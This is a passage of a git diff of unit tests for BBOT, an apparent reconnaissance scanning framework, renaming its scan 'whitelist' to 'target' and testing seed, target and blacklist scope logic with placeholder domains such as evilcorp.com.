preset_nowhitelist_baked.seeds - assert "1.2.3.4" in preset_nowhitelist_baked.whitelist - assert not preset_nowhitelist_baked.in_scope("www.evilcorp.org") - assert not preset_nowhitelist_baked.in_scope("www.evilcorp.com") - assert not preset_nowhitelist_baked.whitelisted("www.evilcorp.org") - assert not preset_nowhitelist_baked.whitelisted("www.evilcorp.com") - assert preset_nowhitelist_baked.in_scope("1.2.3.4") - - preset_nowhitelist = Preset("evilcorp.com") - preset_whitelist = Preset("evilcorp.org", whitelist=["1.2.3.4/24"]) - preset_whitelist.merge(preset_nowhitelist) - preset_whitelist_baked = preset_whitelist.bake() - assert {e.data for e in preset_whitelist_baked.seeds} == {"evilcorp.com", "evilcorp.org"} - assert {e.data for e in preset_whitelist_baked.whitelist} == {"1.2.3.0/24"} - assert "www.evilcorp.org" in preset_whitelist_baked.seeds - assert "www.evilcorp.com" in preset_whitelist_baked.seeds - assert "www.evilcorp.org" not in preset_whitelist_baked.target.whitelist - assert "www.evilcorp.com" not in preset_whitelist_baked.target.whitelist - assert "1.2.3.4" in preset_whitelist_baked.whitelist - assert not preset_whitelist_baked.in_scope("www.evilcorp.org") - assert not preset_whitelist_baked.in_scope("www.evilcorp.com") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.org") - assert not preset_whitelist_baked.whitelisted("www.evilcorp.com") - assert preset_whitelist_baked.in_scope("1.2.3.4") - - preset_nowhitelist1 = Preset("evilcorp.com") - preset_nowhitelist2 = Preset("evilcorp.de") - preset_nowhitelist1_baked = preset_nowhitelist1.bake() - preset_nowhitelist2_baked = preset_nowhitelist2.bake() - assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"} - assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.de"} - preset_nowhitelist1.merge(preset_nowhitelist2) - preset_nowhitelist1_baked = preset_nowhitelist1.bake() - assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.de"} - assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.de"} - assert "www.evilcorp.com" in preset_nowhitelist1_baked.seeds - assert "www.evilcorp.de" in preset_nowhitelist1_baked.seeds - assert "www.evilcorp.com" in preset_nowhitelist1_baked.target.seeds - assert "www.evilcorp.de" in preset_nowhitelist1_baked.target.seeds - assert "www.evilcorp.com" in preset_nowhitelist1_baked.whitelist - assert "www.evilcorp.de" in preset_nowhitelist1_baked.whitelist - assert preset_nowhitelist1_baked.whitelisted("www.evilcorp.com") - assert preset_nowhitelist1_baked.whitelisted("www.evilcorp.de") - assert not preset_nowhitelist1_baked.whitelisted("1.2.3.4") - assert preset_nowhitelist1_baked.in_scope("www.evilcorp.com") - assert preset_nowhitelist1_baked.in_scope("www.evilcorp.de") - assert not preset_nowhitelist1_baked.in_scope("1.2.3.4") - - preset_nowhitelist1 = Preset("evilcorp.com") - preset_nowhitelist2 = Preset("evilcorp.de") - preset_nowhitelist2.merge(preset_nowhitelist1) - preset_nowhitelist1_baked = preset_nowhitelist1.bake() - preset_nowhitelist2_baked = preset_nowhitelist2.bake() - assert {e.data for e in preset_nowhitelist1_baked.seeds} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} - assert {e.data for e in preset_nowhitelist1_baked.whitelist} == {"evilcorp.com"} - assert {e.data for e in preset_nowhitelist2_baked.whitelist} == {"evilcorp.com", "evilcorp.de"} + assert preset_seeds_only_baked.in_scope("www.evilcorp.com") + assert not preset_seeds_only_baked.in_scope("www.evilcorp.de") + assert not preset_seeds_only_baked.in_scope("1.2.3.4/24") + + assert "www.evilcorp.org" in preset_with_target_scope_baked.target.seeds + assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target + assert "1.2.3.4" in preset_with_target_scope_baked.target.target + assert not preset_with_target_scope_baked.in_scope("www.evilcorp.org") + assert not preset_with_target_scope_baked.in_scope("www.evilcorp.de") + assert not preset_with_target_scope_baked.in_target("www.evilcorp.org") + assert not preset_with_target_scope_baked.in_target("www.evilcorp.de") + assert preset_with_target_scope_baked.in_scope("1.2.3.4") + assert preset_with_target_scope_baked.in_scope("1.2.3.4/28") + assert preset_with_target_scope_baked.in_scope("1.2.3.4/24") + assert preset_with_target_scope_baked.in_target("1.2.3.4") + assert preset_with_target_scope_baked.in_target("1.2.3.4/28") + assert preset_with_target_scope_baked.in_target("1.2.3.4/24") + + assert {e.data for e in preset_seeds_only_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_seeds_only_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.org"} + assert {e.data for e in preset_with_target_scope_baked.target.target} == {"1.2.3.0/24", "http://evilcorp.net/"} + + preset_seeds_only.merge(preset_with_target_scope) + preset_seeds_only_baked = preset_seeds_only.bake() + assert {e.data for e in preset_seeds_only_baked.seeds} == {"evilcorp.com", "evilcorp.org"} + assert {e.data for e in preset_seeds_only_baked.target.target} == {"1.2.3.0/24", "http://evilcorp.net/"} + assert "www.evilcorp.org" in preset_seeds_only_baked.seeds + assert "www.evilcorp.com" in preset_seeds_only_baked.seeds + assert "1.2.3.4" in preset_seeds_only_baked.target.target + assert not preset_seeds_only_baked.in_scope("www.evilcorp.org") + assert not preset_seeds_only_baked.in_scope("www.evilcorp.com") + assert not preset_seeds_only_baked.in_target("www.evilcorp.org") + assert not preset_seeds_only_baked.in_target("www.evilcorp.com") + assert preset_seeds_only_baked.in_scope("1.2.3.4") + + preset_seeds_only = Preset("evilcorp.com") + preset_with_target_scope = Preset("evilcorp.org", target_list=["1.2.3.4/24"]) + preset_with_target_scope.merge(preset_seeds_only) + preset_with_target_scope_baked = preset_with_target_scope.bake() + assert {e.data for e in preset_with_target_scope_baked.seeds} == {"evilcorp.com", "evilcorp.org"} + assert {e.data for e in preset_with_target_scope_baked.target.target} == {"1.2.3.0/24"} + assert "www.evilcorp.org" in preset_with_target_scope_baked.seeds + assert "www.evilcorp.com" in preset_with_target_scope_baked.seeds + assert "www.evilcorp.org" not in preset_with_target_scope_baked.target.target + assert "www.evilcorp.com" not in preset_with_target_scope_baked.target.target + assert "1.2.3.4" in preset_with_target_scope_baked.target.target + assert not preset_with_target_scope_baked.in_scope("www.evilcorp.org") + assert not preset_with_target_scope_baked.in_scope("www.evilcorp.com") + assert not preset_with_target_scope_baked.in_target("www.evilcorp.org") + assert not preset_with_target_scope_baked.in_target("www.evilcorp.com") + assert preset_with_target_scope_baked.in_scope("1.2.3.4") + + preset_seeds_only1 = Preset("evilcorp.com") + preset_seeds_only2 = Preset("evilcorp.de") + preset_seeds_only1_baked = preset_seeds_only1.bake() + preset_seeds_only2_baked = preset_seeds_only2.bake() + assert {e.data for e in preset_seeds_only1_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_seeds_only2_baked.seeds} == {"evilcorp.de"} + assert {e.data for e in preset_seeds_only1_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_seeds_only2_baked.target.target} == {"evilcorp.de"} + preset_seeds_only1.merge(preset_seeds_only2) + preset_seeds_only1_baked = preset_seeds_only1.bake() + assert {e.data for e in preset_seeds_only1_baked.seeds} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_seeds_only2_baked.seeds} == {"evilcorp.de"} + assert {e.data for e in preset_seeds_only1_baked.target.target} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_seeds_only2_baked.target.target} == {"evilcorp.de"} + assert "www.evilcorp.com" in preset_seeds_only1_baked.seeds + assert "www.evilcorp.de" in preset_seeds_only1_baked.seeds + assert "www.evilcorp.com" in preset_seeds_only1_baked.target.seeds + assert "www.evilcorp.de" in preset_seeds_only1_baked.target.seeds + assert "www.evilcorp.com" in preset_seeds_only1_baked.target.target + assert "www.evilcorp.de" in preset_seeds_only1_baked.target.target + assert preset_seeds_only1_baked.in_target("www.evilcorp.com") + assert preset_seeds_only1_baked.in_target("www.evilcorp.de") + assert not preset_seeds_only1_baked.in_target("1.2.3.4") + assert preset_seeds_only1_baked.in_scope("www.evilcorp.com") + assert preset_seeds_only1_baked.in_scope("www.evilcorp.de") + assert not preset_seeds_only1_baked.in_scope("1.2.3.4") + + preset_seeds_only1 = Preset("evilcorp.com") + preset_seeds_only2 = Preset("evilcorp.de") + preset_seeds_only2.merge(preset_seeds_only1) + preset_seeds_only1_baked = preset_seeds_only1.bake() + preset_seeds_only2_baked = preset_seeds_only2.bake() + assert {e.data for e in preset_seeds_only1_baked.seeds} == {"evilcorp.com"} + assert {e.data for e in preset_seeds_only2_baked.seeds} == {"evilcorp.com", "evilcorp.de"} + assert {e.data for e in preset_seeds_only1_baked.target.target} == {"evilcorp.com"} + assert {e.data for e in preset_seeds_only2_baked.target.target} == {"evilcorp.com", "evilcorp.de"} @pytest.mark.asyncio diff --git a/bbot/test/test_step_1/test_scan.py b/bbot/test/test_step_1/test_scan.py index 66738796ed..5e95fc9b91 100644 --- a/bbot/test/test_step_1/test_scan.py +++ b/bbot/test/test_step_1/test_scan.py @@ -19,15 +19,15 @@ async def test_scan( modules=["ipneighbor"], ) await scan0.load_modules() - assert scan0.whitelisted("1.1.1.1") - assert scan0.whitelisted("1.1.1.0") + assert scan0.in_target("1.1.1.1") + assert scan0.in_target("1.1.1.0") assert scan0.blacklisted("1.1.1.15") assert not scan0.blacklisted("1.1.1.16") assert scan0.blacklisted("1.1.1.1/30") assert not scan0.blacklisted("1.1.1.1/27") assert not scan0.in_scope("1.1.1.1") - assert scan0.whitelisted("api.evilcorp.com") - assert scan0.whitelisted("www.evilcorp.com") + assert scan0.in_target("api.evilcorp.com") + assert scan0.in_target("www.evilcorp.com") assert not scan0.blacklisted("api.evilcorp.com") assert scan0.blacklisted("asdf.www.evilcorp.com") assert scan0.in_scope("test.api.evilcorp.com") @@ -35,26 +35,26 @@ async def test_scan( assert not scan0.in_scope("www.evilcorp.co.uk") j = scan0.json assert set(j["target"]["seeds"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} - # no whitelist was set - assert j["target"]["whitelist"] is None - # but functionally it was copied from the seeds, and collapsed - assert scan0.target.whitelist.hosts == {ip_network("1.1.1.0/31"), "evilcorp.com"} + # Positional arguments become the target + assert set(j["target"]["target"]) == {"1.1.1.0", "1.1.1.0/31", "evilcorp.com", "test.evilcorp.com"} + # Seeds are backfilled from target when not explicitly set + assert scan0.target.target.hosts == {ip_network("1.1.1.0/31"), "evilcorp.com"} assert set(j["target"]["blacklist"]) == {"1.1.1.0/28", "www.evilcorp.com"} assert "ipneighbor" in j["preset"]["modules"] - scan1 = bbot_scanner("1.1.1.1", whitelist=["1.0.0.1"]) + scan1 = bbot_scanner("1.1.1.1", target_list=["1.0.0.1"]) assert not scan1.blacklisted("1.1.1.1") assert not scan1.blacklisted("1.0.0.1") - assert not scan1.whitelisted("1.1.1.1") - assert scan1.whitelisted("1.0.0.1") + assert not scan1.in_target("1.1.1.1") + assert scan1.in_target("1.0.0.1") assert scan1.in_scope("1.0.0.1") assert not scan1.in_scope("1.1.1.1") scan2 = bbot_scanner("1.1.1.1") assert not scan2.blacklisted("1.1.1.1") assert not scan2.blacklisted("1.0.0.1") - assert scan2.whitelisted("1.1.1.1") - assert not scan2.whitelisted("1.0.0.1") + assert scan2.in_target("1.1.1.1") + assert not scan2.in_target("1.0.0.1") assert scan2.in_scope("1.1.1.1") assert not scan2.in_scope("1.0.0.1") @@ -88,6 +88,36 @@ async def test_scan( assert len(scan6.dns_strings) == 1 +def test_seeds_target_separation(bbot_scanner): + """ + Test that when seeds are explicitly provided (via -s), they are properly separated from target. + """ + # Simulate: bbot -t 192.168.1.0/24 -s seed1.example.com seed2.example.com + scan = bbot_scanner( + target_list=["192.168.1.0/24"], + seeds=["seed1.example.com", "seed2.example.com"], + ) + + # Verify target and seeds are properly separated in JSON + j = scan.json + assert set(j["target"]["target"]) == {"192.168.1.0/24"}, "Target should only contain the IP range" + assert set(j["target"]["seeds"]) == {"seed1.example.com", "seed2.example.com"}, ( + "Seeds should contain the DNS names, not the target" + ) + + # Verify target functionality + assert scan.in_target("192.168.1.1"), "IP in target range should be in target" + assert not scan.in_target("seed1.example.com"), "Seed DNS name should not be in target" + assert not scan.in_target("seed2.example.com"), "Seed DNS name should not be in target" + + # Verify seeds are accessible + assert "seed1.example.com" in scan.target.seeds.inputs, "seed1.example.com should be in seeds" + assert "seed2.example.com" in scan.target.seeds.inputs, "seed2.example.com should be in seeds" + assert "192.168.1.0/24" not in scan.target.seeds.inputs, ( + "Target should not be in seeds when seeds are explicitly provided" + ) + + @pytest.mark.asyncio async def test_task_scan_handle_event_timeout(bbot_scanner): from bbot.modules.base import BaseModule @@ -220,7 +250,7 @@ async def test_huge_target_list(bbot_scanner, monkeypatch): @pytest.mark.asyncio -async def test_exclude_cdn(bbot_scanner, monkeypatch): +async def test_exclude_cdn(bbot_scanner, monkeypatch, clean_default_config): # test that CDN exclusion works from bbot.scanner import Preset diff --git a/bbot/test/test_step_1/test_scope.py b/bbot/test/test_step_1/test_scope.py index ac2d8c0426..2633f322bd 100644 --- a/bbot/test/test_step_1/test_scope.py +++ b/bbot/test/test_step_1/test_scope.py @@ -21,7 +21,7 @@ def check(self, module_test, events): if e.type == "URL_UNVERIFIED" and str(e.host) == "127.0.0.1" and e.scope_distance == 0 - and "target" in e.tags + and "seed" in e.tags ] ) # we have two of these because the host module considers "always_emit" in its outgoing deduplication @@ -68,27 +68,45 @@ def check(self, module_test, events): assert not any(str(e.host) == "127.0.0.1" for e in events) -class TestScopeWhitelist(TestScopeBlacklist): - blacklist = [] - whitelist = ["255.255.255.255"] +class TestScopeCidrWithSeeds(ModuleTestBase): + """ + Test that when we have a CIDR as the target and DNS names as seeds, + only the DNS names that resolve to IPs within the CIDR should be detected as in-scope. + """ + + # Seeds: DNS names that will be tested + seeds = ["inscope.example.com", "outscope.example.com"] + # Target: CIDR that defines the scope + target_list = ["192.168.1.0/24"] + modules_overrides = ["dnsresolve"] + + async def setup_before_prep(self, module_test): + # Mock DNS so that: + # - inscope.example.com resolves to 192.168.1.10 (inside the /24) + # - outscope.example.com resolves to 10.0.0.1 (outside the /24) + # We do this before prep to ensure DNS mocking is ready before any resolution happens + await module_test.mock_dns( + { + "inscope.example.com": {"A": ["192.168.1.10"]}, + "outscope.example.com": {"A": ["10.0.0.1"]}, + } + ) def check(self, module_test, events): - assert len(events) == 4 - assert not any(e.type == "URL" for e in events) - assert 1 == len( - [ - e - for e in events - if e.type == "IP_ADDRESS" and e.data == "127.0.0.1" and e.scope_distance == 1 and "target" in e.tags - ] + # Find the DNS_NAME events for our seeds + inscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "inscope.example.com"] + outscope_events = [e for e in events if e.type == "DNS_NAME" and e.data == "outscope.example.com"] + + assert len(inscope_events) > 0, "inscope.example.com should be detected" + inscope_event = inscope_events[0] + assert inscope_event.scope_distance == 0, ( + f"inscope.example.com should be in-scope (scope_distance=0), got {inscope_event.scope_distance}" ) - assert 1 == len( - [ - e - for e in events - if e.type == "URL_UNVERIFIED" - and str(e.host) == "127.0.0.1" - and e.scope_distance == 1 - and "target" in e.tags - ] + assert "192.168.1.10" in inscope_event.resolved_hosts, "inscope.example.com should resolve to 192.168.1.10" + + assert len(outscope_events) > 0, "outscope.example.com should be detected" + outscope_event = outscope_events[0] + assert outscope_event.scope_distance > 0, ( + f"outscope.example.com should be out-of-scope (scope_distance>0), got {outscope_event.scope_distance}" ) + assert "10.0.0.1" in outscope_event.resolved_hosts, "outscope.example.com should resolve to 10.0.0.1" diff --git a/bbot/test/test_step_1/test_target.py b/bbot/test/test_step_1/test_target.py index e2de5fb6f3..5e78ac076e 100644 --- a/bbot/test/test_step_1/test_target.py +++ b/bbot/test/test_step_1/test_target.py @@ -54,37 +54,37 @@ async def test_target_basic(bbot_scanner): assert scan2.target.seeds == scan3.target.seeds assert scan4.target.seeds != scan1.target.seeds - assert not scan5.target.whitelist - assert len(scan1.target.whitelist) == 9 - assert len(scan4.target.whitelist) == 8 - assert "8.8.8.9" in scan1.target.whitelist - assert "8.8.8.12" not in scan1.target.whitelist - assert "8.8.8.8/31" in scan1.target.whitelist - assert "8.8.8.8/30" in scan1.target.whitelist - assert "8.8.8.8/29" not in scan1.target.whitelist - assert "2001:4860:4860::8889" in scan1.target.whitelist - assert "2001:4860:4860::888c" not in scan1.target.whitelist - assert "www.api.publicapis.org" in scan1.target.whitelist - assert "api.publicapis.org" in scan1.target.whitelist - assert "publicapis.org" not in scan1.target.whitelist - assert "bob@www.api.publicapis.org" in scan1.target.whitelist - assert "https://www.api.publicapis.org" in scan1.target.whitelist - assert "www.api.publicapis.org:80" in scan1.target.whitelist - assert scan1.make_event("https://[2001:4860:4860::8888]:80", dummy=True) in scan1.target.whitelist - assert scan1.make_event("[2001:4860:4860::8888]:80", "OPEN_TCP_PORT", dummy=True) in scan1.target.whitelist - assert scan1.make_event("[2001:4860:4860::888c]:80", "OPEN_TCP_PORT", dummy=True) not in scan1.target.whitelist - assert scan1.target.whitelist in scan2.target.whitelist - assert scan2.target.whitelist not in scan1.target.whitelist - assert scan3.target.whitelist in scan2.target.whitelist - assert scan2.target.whitelist == scan3.target.whitelist - assert scan4.target.whitelist != scan1.target.whitelist - - assert scan1.whitelisted("https://[2001:4860:4860::8888]:80") - assert scan1.whitelisted("[2001:4860:4860::8888]:80") - assert not scan1.whitelisted("[2001:4860:4860::888c]:80") - assert scan1.whitelisted("www.api.publicapis.org") - assert scan1.whitelisted("api.publicapis.org") - assert not scan1.whitelisted("publicapis.org") + assert not scan5.target.target + assert len(scan1.target.target) == 9 + assert len(scan4.target.target) == 8 + assert "8.8.8.9" in scan1.target.target + assert "8.8.8.12" not in scan1.target.target + assert "8.8.8.8/31" in scan1.target.target + assert "8.8.8.8/30" in scan1.target.target + assert "8.8.8.8/29" not in scan1.target.target + assert "2001:4860:4860::8889" in scan1.target.target + assert "2001:4860:4860::888c" not in scan1.target.target + assert "www.api.publicapis.org" in scan1.target.target + assert "api.publicapis.org" in scan1.target.target + assert "publicapis.org" not in scan1.target.target + assert "bob@www.api.publicapis.org" in scan1.target.target + assert "https://www.api.publicapis.org" in scan1.target.target + assert "www.api.publicapis.org:80" in scan1.target.target + assert scan1.make_event("https://[2001:4860:4860::8888]:80", dummy=True) in scan1.target.target + assert scan1.make_event("[2001:4860:4860::8888]:80", "OPEN_TCP_PORT", dummy=True) in scan1.target.target + assert scan1.make_event("[2001:4860:4860::888c]:80", "OPEN_TCP_PORT", dummy=True) not in scan1.target.target + assert scan1.target.target in scan2.target.target + assert scan2.target.target not in scan1.target.target + assert scan3.target.target in scan2.target.target + assert scan2.target.target == scan3.target.target + assert scan4.target.target != scan1.target.target + + assert scan1.in_target("https://[2001:4860:4860::8888]:80") + assert scan1.in_target("[2001:4860:4860::8888]:80") + assert not scan1.in_target("[2001:4860:4860::888c]:80") + assert scan1.in_target("www.api.publicapis.org") + assert scan1.in_target("api.publicapis.org") + assert not scan1.in_target("publicapis.org") assert scan1.target.seeds in scan2.target.seeds assert scan2.target.seeds not in scan1.target.seeds @@ -93,17 +93,17 @@ async def test_target_basic(bbot_scanner): assert scan4.target.seeds != scan1.target.seeds assert str(scan1.target.seeds.get("8.8.8.9").host) == "8.8.8.8/30" - assert str(scan1.target.whitelist.get("8.8.8.9").host) == "8.8.8.8/30" + assert str(scan1.target.target.get("8.8.8.9").host) == "8.8.8.8/30" assert scan1.target.seeds.get("8.8.8.12") is None - assert scan1.target.whitelist.get("8.8.8.12") is None + assert scan1.target.target.get("8.8.8.12") is None assert str(scan1.target.seeds.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126" - assert str(scan1.target.whitelist.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126" + assert str(scan1.target.target.get("2001:4860:4860::8889").host) == "2001:4860:4860::8888/126" assert scan1.target.seeds.get("2001:4860:4860::888c") is None - assert scan1.target.whitelist.get("2001:4860:4860::888c") is None + assert scan1.target.target.get("2001:4860:4860::888c") is None assert str(scan1.target.seeds.get("www.api.publicapis.org").host) == "api.publicapis.org" - assert str(scan1.target.whitelist.get("www.api.publicapis.org").host) == "api.publicapis.org" + assert str(scan1.target.target.get("www.api.publicapis.org").host) == "api.publicapis.org" assert scan1.target.seeds.get("publicapis.org") is None - assert scan1.target.whitelist.get("publicapis.org") is None + assert scan1.target.target.get("publicapis.org") is None target = RadixTarget("evilcorp.com") assert "com" not in target @@ -128,18 +128,18 @@ async def test_target_basic(bbot_scanner): # test target hashing target1 = BBOTTarget() - target1.whitelist.add("evilcorp.com") - target1.whitelist.add("1.2.3.4/24") - target1.whitelist.add("https://evilcorp.net:8080") + target1.target.add("evilcorp.com") + target1.target.add("1.2.3.4/24") + target1.target.add("https://evilcorp.net:8080") target1.seeds.add("evilcorp.com") target1.seeds.add("1.2.3.4/24") target1.seeds.add("https://evilcorp.net:8080") target2 = BBOTTarget() - target2.whitelist.add("bob@evilcorp.org") - target2.whitelist.add("evilcorp.com") - target2.whitelist.add("1.2.3.4/24") - target2.whitelist.add("https://evilcorp.net:8080") + target2.target.add("bob@evilcorp.org") + target2.target.add("evilcorp.com") + target2.target.add("1.2.3.4/24") + target2.target.add("https://evilcorp.net:8080") target2.seeds.add("bob@evilcorp.org") target2.seeds.add("evilcorp.com") target2.seeds.add("1.2.3.4/24") @@ -153,29 +153,29 @@ async def test_target_basic(bbot_scanner): assert target1.hash != target2.hash assert target1.scope_hash != target2.scope_hash # add missing email - target1.whitelist.add("bob@evilcorp.org") + target1.target.add("bob@evilcorp.org") assert target1.hash != target2.hash assert target1.scope_hash == target2.scope_hash target1.seeds.add("bob@evilcorp.org") # now they should match assert target1.hash == target2.hash - # test default whitelist + # test default target bbottarget = BBOTTarget("http://1.2.3.4:8443", "bob@evilcorp.com") assert bbottarget.seeds.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} - assert bbottarget.whitelist.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} + assert bbottarget.target.hosts == {ip_network("1.2.3.4"), "evilcorp.com"} assert {e.data for e in bbottarget.seeds.event_seeds} == {"http://1.2.3.4:8443/", "bob@evilcorp.com"} - assert {e.data for e in bbottarget.whitelist.event_seeds} == {"1.2.3.4/32", "evilcorp.com"} + assert {e.data for e in bbottarget.target.event_seeds} == {"1.2.3.4/32", "evilcorp.com"} - bbottarget1 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.4/24"], blacklist=["1.2.3.4"]) - bbottarget2 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) - bbottarget3 = BBOTTarget("evilcorp.com", whitelist=["1.2.3.4/24"], blacklist=["1.2.3.4"]) - bbottarget5 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget1 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) + bbottarget2 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget3 = BBOTTarget("evilcorp.com", target=["1.2.3.4/24"], blacklist=["1.2.3.4"]) + bbottarget5 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) bbottarget6 = BBOTTarget( - "evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_dns_scope=True + "evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"], strict_dns_scope=True ) - bbottarget8 = BBOTTarget("1.2.3.0/24", whitelist=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) - bbottarget9 = BBOTTarget("evilcorp.com", "evilcorp.net", whitelist=["1.2.3.0/24"], blacklist=["1.2.3.4"]) + bbottarget8 = BBOTTarget("1.2.3.0/24", target=["evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4"]) + bbottarget9 = BBOTTarget("evilcorp.com", "evilcorp.net", target=["1.2.3.0/24"], blacklist=["1.2.3.4"]) # make sure it's a sha1 hash assert isinstance(bbottarget1.hash, bytes) @@ -191,9 +191,9 @@ async def test_target_basic(bbot_scanner): assert bbottarget1 == bbottarget3 assert bbottarget3 == bbottarget1 - # adding different events (but with same host) to whitelist should not change hash (since only hosts matter) - bbottarget1.whitelist.add("http://evilcorp.co.nz") - bbottarget2.whitelist.add("evilcorp.co.nz") + # adding different events (but with same host) to target should not change hash (since only hosts matter) + bbottarget1.target.add("http://evilcorp.co.nz") + bbottarget2.target.add("evilcorp.co.nz") assert bbottarget1 == bbottarget2 assert bbottarget2 == bbottarget1 @@ -218,17 +218,17 @@ async def test_target_basic(bbot_scanner): target1.seeds.add("https://evilcorp.com:443") assert target1 == target2 - # make sure hosts are collapsed in whitelist and blacklist + # make sure hosts are collapsed in target and blacklist bbottarget = BBOTTarget( "http://evilcorp.com:8080", - whitelist=["evilcorp.net:443", "http://evilcorp.net:8080"], + target=["evilcorp.net:443", "http://evilcorp.net:8080"], blacklist=["http://evilcorp.org:8080", "evilcorp.org:443"], ) # base class is not iterable with pytest.raises(TypeError): assert list(bbottarget) == ["http://evilcorp.com:8080/"] assert {e.data for e in bbottarget.seeds} == {"http://evilcorp.com:8080/"} - assert {e.data for e in bbottarget.whitelist} == {"evilcorp.net:443", "http://evilcorp.net:8080/"} + assert {e.data for e in bbottarget.target} == {"evilcorp.net:443", "http://evilcorp.net:8080/"} assert {e.data for e in bbottarget.blacklist} == {"http://evilcorp.org:8080/", "evilcorp.org:443"} # test org stub as target @@ -261,7 +261,7 @@ async def test_target_basic(bbot_scanner): "1.2.3.0/24", "http://www.evilcorp.net", "bob@fdsa.evilcorp.net", - whitelist=["evilcorp.com", "bob@www.evilcorp.com", "evilcorp.net"], + target=["evilcorp.com", "bob@www.evilcorp.com", "evilcorp.net"], blacklist=["1.2.3.4", "4.3.2.1/24", "http://1.2.3.4", "bob@asdf.evilcorp.net"], ) assert {e.data for e in bbottarget.seeds.event_seeds} == { @@ -269,7 +269,7 @@ async def test_target_basic(bbot_scanner): "http://www.evilcorp.net/", "bob@fdsa.evilcorp.net", } - assert {e.data for e in bbottarget.whitelist.event_seeds} == { + assert {e.data for e in bbottarget.target.event_seeds} == { "evilcorp.com", "evilcorp.net", "bob@www.evilcorp.com", @@ -281,19 +281,19 @@ async def test_target_basic(bbot_scanner): "bob@asdf.evilcorp.net", } assert set(bbottarget.seeds.hosts) == {ip_network("1.2.3.0/24"), "www.evilcorp.net", "fdsa.evilcorp.net"} - assert set(bbottarget.whitelist.hosts) == {"evilcorp.com", "evilcorp.net"} + assert set(bbottarget.target.hosts) == {"evilcorp.com", "evilcorp.net"} assert set(bbottarget.blacklist.hosts) == {ip_network("1.2.3.4/32"), ip_network("4.3.2.0/24"), "asdf.evilcorp.net"} assert bbottarget.hash == b"\xb3iU\xa8#\x8aq\x84/\xc5\xf2;\x11\x11\x0c&\xea\x07\xd4Q" assert bbottarget.scope_hash == b"f\xe1\x01c^3\xf5\xd24B\x87P\xa0Glq0p3J" assert bbottarget.seeds.hash == b"V\n\xf5\x1d\x1f=i\xbc\\\x15o\xc2p\xb2\x84\x97\xfeR\xde\xc1" - assert bbottarget.whitelist.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4" + assert bbottarget.target.hash == b"\x8e\xd0\xa76\x8em4c\x0e\x1c\xfdA\x9d*sv}\xeb\xc4\xc4" assert bbottarget.blacklist.hash == b'\xf7\xaf\xa1\xda4"C:\x13\xf42\xc3,\xc3\xa9\x9f\x15\x15n\\' scan = bbot_scanner( "http://www.evilcorp.net", "1.2.3.0/24", "bob@fdsa.evilcorp.net", - whitelist=["evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com"], + target_list=["evilcorp.net", "evilcorp.com", "bob@www.evilcorp.com"], blacklist=["bob@asdf.evilcorp.net", "1.2.3.4", "4.3.2.1/24", "http://1.2.3.4"], ) events = [e async for e in scan.async_start()] @@ -302,12 +302,12 @@ async def test_target_basic(bbot_scanner): target_dict = scan_events[0].data["target"] assert target_dict["seeds"] == ["1.2.3.0/24", "bob@fdsa.evilcorp.net", "http://www.evilcorp.net/"] - assert target_dict["whitelist"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"] + assert target_dict["target"] == ["bob@www.evilcorp.com", "evilcorp.com", "evilcorp.net"] assert target_dict["blacklist"] == ["1.2.3.4", "4.3.2.0/24", "bob@asdf.evilcorp.net", "http://1.2.3.4/"] assert target_dict["strict_dns_scope"] is False assert target_dict["hash"] == "b36955a8238a71842fc5f23b11110c26ea07d451" assert target_dict["seed_hash"] == "560af51d1f3d69bc5c156fc270b28497fe52dec1" - assert target_dict["whitelist_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4" + assert target_dict["target_hash"] == "8ed0a7368e6d34630e1cfd419d2a73767debc4c4" assert target_dict["blacklist_hash"] == "f7afa1da3422433a13f432c32cc3a99f15156e5c" assert target_dict["scope_hash"] == "66e101635e33f5d234428750a0476c713070334a" diff --git a/bbot/test/test_step_2/module_tests/base.py b/bbot/test/test_step_2/module_tests/base.py 